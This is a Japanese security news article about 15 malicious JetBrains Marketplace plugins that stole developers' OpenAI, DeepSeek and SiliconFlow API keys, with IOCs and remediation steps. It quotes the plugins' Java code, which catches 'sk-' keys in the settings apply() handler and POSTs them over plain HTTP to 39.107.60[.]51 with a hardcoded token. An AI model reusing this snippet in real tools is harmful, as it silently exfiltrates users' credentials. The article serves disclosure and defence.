JetBrains Marketplaceで15件の悪意あるプラグインがAI APIキーを窃取-システムエンジニアを狙うサイバー攻撃 キャンペーン

セキュリティニュース

投稿日時: 更新日時:

JetBrains Marketplaceで15件の悪意あるプラグインがAI APIキーを窃取-システムエンジニアを狙うサイバー攻撃 キャンペーン

サプライチェーンセキュリティ企業Aikido Securityは2026年6月16日、公式技術分析で、JetBrains Marketplace上で少なくとも15件の悪意あるプラグインが、開発者が入力したAIプロバイダーのAPIキーを密かに窃取していたことを発表しました。

これらのプラグインは7つの異なる出版者アカウントのもとで公開されており、いずれもOpenAI・DeepSeek・SiliconFlowといった人気のAIサービスを基盤としたAIコーディングアシスタント・コードレビューツール・Gitユーティリティとして機能していました。

プラグイン自体は宣伝通りに正常動作するため、利用者は不正な動作に気づきにくい設計でした。窃取の手口は単純かつ露骨です——利用者が設定画面にAPIキーを入力し「Apply(適用)」をクリックした瞬間、そのキーは暗号化されない平文のHTTP通信で、攻撃者が管理するハードコードされたサーバー(39.107.60[.]51)へ即座に送信されます。

15件のプラグインは合計で約7万件のインストールを記録しており、最も多いものは「DeepSeek AI Assist」(27,727件)・「CodeGPT AI Assistant」(25,571件)です。

最初のプラグインは2025年10月に公開され、最新のものは2026年6月10日にも新たに公開されており、現在も拡大が続いている可能性があります。さらにAikidoは、これらのプラグインに「有料ティア」機能が存在し、料金を支払った利用者には別の(窃取された可能性がある)APIキーが提供される仕組みを発見しました。BleepingComputerは独自に最新版のプラグインを解析し、2026年6月16日時点でも認証情報窃取コードが依然として有効であることを確認しています。本記事ではAikido Securityの一次技術分析をもとに、攻撃の手口・コードの詳細・IOC・対応手順を解説します。

サマリー

  • 発表日:2026年6月16日(Aikido Security)
  • 悪意あるプラグインの総数15件以上
  • 公開された出版者アカウント数7つ(確認された名称:CodePilot・StackSmith・ZenCoder等)
  • 累計インストール数約7万件(各プラグインの個別ダウンロード数は300件台〜27,727件まで分布)
  • 最多ダウンロードのプラグイン
    • 「DeepSeek AI Assist」(プラグインID:ord.cp.code.ai.kit):27,727件
    • 「CodeGPT AI Assistant」(プラグインID:com.my.code.tools):25,571件
  • 対象とするAIサービス:OpenAI・DeepSeek・SiliconFlow
  • 窃取の発生条件:利用者が設定画面にAPIキーを入力し「Apply」ボタンをクリックした瞬間
  • 送信先(C2サーバー)39.107.60[.]51(平文HTTP、静的トークンによる認証)
  • 公開期間:最初のプラグインは2025年10月公開。最新のものは2026年6月10日に公開——現在も活動継続中
  • 「有料ティア」の存在:少額の支払いをした利用者に対し、サーバー側から別のAPIキーを提供する機能を確認。Aikidoは「無料利用者から収集したキーを有料利用者に提供している可能性」を指摘
  • JetBrainsの対応:BleepingComputerの問い合わせ時点(記事公開時)で公式な回答なし
  • BleepingComputerの独自検証:最新版の「DeepSeek AI Assist」を解析し、2026年6月16日時点でも窃取コードが依然として有効であることを確認

攻撃の仕組み——15件で同一のコードベース

「設定画面のApplyボタン」に仕込まれた窃取ロジック

Aikido Securityの技術分析によれば、15件のプラグインはほぼ同一のコードベースを共有しており、それぞれ異なる名前・出版者アカウントのもとで再パッケージ化されていました。

窃取のロジックは、利用者がAPIキーを入力して設定を保存する操作(apply()ハンドラ)の内部に直接埋め込まれています。Aikidoが公開した実際のコードは以下のとおりです。

// runs inside the settings apply() handler, the instant you save your key
public static void save(String key) {
    if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key); // your provider secret
        BaseUtil.request("key", dto); // shipped off to the attacker server
    }
}

このコードが示す通り、入力された文字列がsk-で始まり長さがちょうど51文字であること(多くのAI APIキーの典型的な書式)を確認した上で、即座に攻撃者サーバーへ送信する処理が組み込まれています。同意確認・通知・UI上の表示は一切ありません。

ネットワーク通信の詳細

cyberpress.orgが公開した詳細なコードによれば、実際の送信処理は以下のようになっています。

URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
byte[] input = new Gson().toJson(vo).getBytes(StandardCharsets.UTF_8); // vo holds your apiKey

通信は暗号化されない平文のHTTPで行われ、プラグイン自体に静的にハードコードされたトークン(X-Api-Key: F48D2AA7CF341F782C1D)で認証されます。developer-tech.comの分析によれば、この通信は「企業のDLP(データ漏洩防止)ツールにとっても、通常のバックグラウンド同期処理に見えるため検知が困難」とされています。


「有料ティア」という奇妙な収益モデル

今回の事案で特に注目すべき点は、これらの悪意あるプラグインが正規の有料機能を装った収益モデルを併設していたことです。

Aikidoの分析によれば、利用者は「ドネーションウォール(donation wall)」を通じて少額の支払いを行うことで、プラグインの有料ティアへアップグレードできます。すると、攻撃者管理のサーバーから新たなAPIキーが提供される仕組みになっています。

Aikidoは「これらのAPIキーがどこから来ているのかは不明確だが、プラグイン運営者が無料利用者から収集した認証情報を、有料利用者に提供している可能性がある」と理論づけています。つまり、無料利用者から窃取したAPIキーを、有料利用者へのサービスとして転用——あるいは転売——している疑いがあるということです。これは単純な情報窃取に留まらず、**窃取したAPIキーを使った持続可能な「ビジネスモデル」**を構築していた可能性を示唆する、悪質なスキームです。


ダウンロード数・レビューの信頼性への注意

Aikidoは「実際の影響を測定することは難しい」と明記しています。理由は、JetBrains Marketplaceにおいてダウンロード数は出版者によって容易に水増しできるため、またマーケットプレイスの掲載ページには偽の5星レビューも含まれているためです。

つまり、表示されている「7万件」というインストール数自体も、実際に被害を受けたユニークな開発者数を正確に反映しているとは限らず、信頼性のあるユーザー獲得を装うために操作されている可能性があります。


BleepingComputerによる独立検証

BleepingComputerは「DeepSeek AI Assist」(プラグインID:ord.cp.code.ai.kit)の最新版を独自にダウンロード・解析し、2026年6月16日時点でも認証情報窃取コードが依然として有効であることを確認しています。これは本記事執筆時点においても、該当するプラグインがJetBrains Marketplace上で稼働し続け、利用者のAPIキーを窃取し続けている可能性が高いことを意味します。


IOC(侵害の痕跡)

種別 内容
C2サーバーIPアドレス 39.107.60[.]51
通信プロトコル 平文HTTP(暗号化なし)
認証ヘッダー X-Api-Key: F48D2AA7CF341F782C1D
通信エンドポイント例 http://39.107.60[.]51/api/software/key
確認された悪意あるプラグインID例 ord.cp.code.ai.kit(DeepSeek AI Assist)・com.my.code.tools(CodeGPT AI Assistant)
確認された出版者名(一部) CodePilot・StackSmith・ZenCoder 等
公開期間 2025年10月〜2026年6月10日(継続中)

対応手順

① 自分の環境にインストール済みのJetBrainsプラグインを確認

JetBrains各製品(IntelliJ IDEA・PyCharm・WebStorm等)の「Settings → Plugins」から、インストール済みプラグインの一覧を確認してください。特にAIコーディングアシスタント・コードレビューツール・Gitユーティリティ系のプラグインで、出版者が見慣れない、または評価が不自然に高いものは注意が必要です。

② 該当する可能性のあるプラグインを即座に削除

不審なプラグインが見つかった場合は、即座にアンインストールしてください。Aikidoは無料のマルウェアスキャナーで該当プラグインの検知に対応しています。

③ 入力済みのAPIキーを「漏洩済み」として扱い、即時にローテーション

最も重要な対応です。該当するプラグインに過去一度でもAPIキーを入力したことがある場合、そのキーは既に攻撃者の手に渡っていると仮定し、対象のAIプロバイダー(OpenAI・DeepSeek・SiliconFlow等)の管理画面から即座に該当キーを無効化・再発行してください。

④ APIの利用状況・課金状況の監視

窃取されたAPIキーが第三者によって悪用されている可能性があるため、不審な利用量の急増や予期しない課金が発生していないか、各AIプロバイダーの利用状況ダッシュボードを確認してください。

⑤ 39.107.60[.]51への通信のブロック

組織のネットワークファイアウォール・プロキシで、IPアドレス39.107.60[.]51への通信をブロックすることを推奨します。

⑥ IDEプラグインを「依存関係」として扱う文化の醸成

Aikido Securityは「プラグインは、自身の権限で動作する依存関係(dependency)と同様に扱うべきであり、検証していないツールに長期間有効な秘密情報を貼り付けることには慎重になるべき」と助言しています。組織として、IDEプラグインの導入を承認制にする、あるいは信頼できる出版者のみに限定するポリシーの整備を検討してください。


FAQ

Q. JetBrains社は対応していますか? A. BleepingComputerの問い合わせ時点(記事公開時)で、JetBrains社から公式な回答はありませんでした。該当プラグインがマーケットプレイスから削除されたかどうかは継続的な確認が必要です。

Q. AIコーディングアシスタントの利用自体を避けるべきですか? A. 必ずしもそうではありません。今回の問題は「AIアシスタント機能」自体ではなく、信頼性が検証されていない特定の出版者によるプラグインが悪意ある実装を含んでいたという点にあります。公式または信頼できる大手ベンダー(JetBrains自身が提供する公式AI機能等)の利用や、プラグイン導入前のレビュー・出版者の信頼性確認を徹底することが重要です。

Q. 自分が使っているプラグインがリストにあるか確認する方法は? A. 本記事のIOCセクションに記載したプラグインID・出版者名を参考に確認してください。より確実な確認方法として、Aikido Securityが提供する無料マルウェアスキャナーの利用を推奨します。


参考情報